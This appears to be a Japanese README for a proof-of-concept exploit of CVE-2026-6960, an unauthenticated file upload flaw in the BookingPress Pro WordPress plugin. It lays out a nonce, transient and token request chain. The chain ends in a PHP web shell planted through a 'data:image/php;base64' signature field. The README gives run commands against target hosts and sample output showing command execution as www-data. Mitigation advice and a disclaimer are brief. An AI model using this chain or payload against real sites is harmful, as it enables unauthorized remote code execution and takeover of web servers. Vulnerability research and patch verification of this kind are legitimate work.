
CVE-2026-6960 の概念実証エクスプロイト:BookingPress Pro ≤ 5.6 における未認証の任意ファイルアップロード。データ URI インジェクションを介して PHP Web Shell をアップロードする3ステップのチェーンを自動化し、脆弱な WordPress サイト上でリモートコード実行を達成します。
研究者: Atomic Edge 深刻度: Critical | CVSS: 9.8 | 認証要件: なし
⚠️ v2 — 技術的修正を適用(コミュニティからのフィードバックに基づく) 詳細は 変更履歴 を参照してください。
BookingPress Pro WordPress プラグイン(バージョン ≤ 5.6)には、重大な未認証の任意ファイルアップロードの脆弱性が存在します。予約送信ハンドラー bookingpress_book_appointment_booking は、署名カスタムフィールドの値をデータURIとして処理します。プラグインは正規表現を使用してURIのMIMEタイプ部分からファイル拡張子を抽出し、それをそのまま file_put_contents() に渡します — 拡張子の許可リストやブロックリストはありません。これにより、攻撃者はPHPウェブシェルをウェブからアクセス可能なディレクトリに書き込み、リモートコード実行(RCE) を達成できます。
⚠️ サイトが悪用可能であるためには、次のすべてが当てはまる必要があります:
署名カスタムフィールドが設定されていない ≤ 5.6 のサイトは、この攻撃ベクトルでは悪用できません。
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
脆弱なコードパスは、署名フィールドの値をデータURIとして処理します:
data:image/{ext};base64,{base64_encoded_content}
BookingPress は正規表現マッチを使用してMIMEタイプから {ext} を抽出し、その拡張子をファイル名に追加して file_put_contents() でデコードされたコンテンツをディスクに書き込みます — 許可リストのチェックは実行されません。MIMEタイプとして image/php を指定すると、.php ファイルがアップロードディレクトリに書き込まれます。
これは標準のマルチパートファイルアップロードとは根本的に異なります — ペイロードはファイルアップロード部ではなく、JSONボディフィールドに埋め込まれます。
pip install requests
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com
# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/
# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png、image/jpeg、image/svg+xml)に対して検証するwp_check_filetype_and_ext() を使用する→ 直ちに BookingPress Pro 5.7 に更新してください。
このリポジトリは、許可されたセキュリティ研究および教育目的のみを意図しています。 システム所有者からの明示的な書面による許可なしに、このツールをいかなるシステムに対しても使用しないでください。 無断使用は、CFAA(米国)、刑法第342.1条(カナダ)、EU NIS2指令、およびその他の適用される法律に違反する可能性があります。 著者は、このコードから生じる誤用または損害についていかなる責任も負いません。
| プロパティ | 詳細 |
|---|
| プラグイン | BookingPress Pro (bookingpress-appointment-booking-pro) |
| 影響を受けるバージョン | ≤ 5.6 |
| 修正バージョン | 5.7 |
| 攻撃ベクトル | ネットワーク / 未認証 |
| AJAX アクション | bookingpress_book_appointment_booking |
| 根本原因 | 攻撃者が制御するデータURI内のMIMEタイプから拡張子を抽出し、許可リストなしで file_put_contents() に渡す |
| CWE | CWE-434: 危険なタイプのファイルの無制限アップロード |
| フラグ | 説明 | デフォルト |
|---|
-u, --url | 対象の WordPress URL | (必須) |
-bp, --booking-page | BookingPress フォームを含むページパス | / |
-s, --service-id | BookingPress サービスの ID | 1 |
-f, --filename | シェルのファイル名(データURIのMIMEに注入される拡張子) | shell.php |
--no-verify | SSL 証明書の検証を無効化 | false |
| # | 項目 | v1(誤り) | v2(修正後) |
|---|
| 1 | AJAX アクション | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | ペイロード方式 | image/png を使用したマルチパートファイルアップロード | データURI: data:image/{ext};base64,... |
| 3 | エクスプロイトの流れ | 直接の未認証POST | 3段階の前提条件チェーン(nonce → transient → token) |
| 4 | 前提条件 | 記載なし | 署名カスタムフィールドの設定が必要 |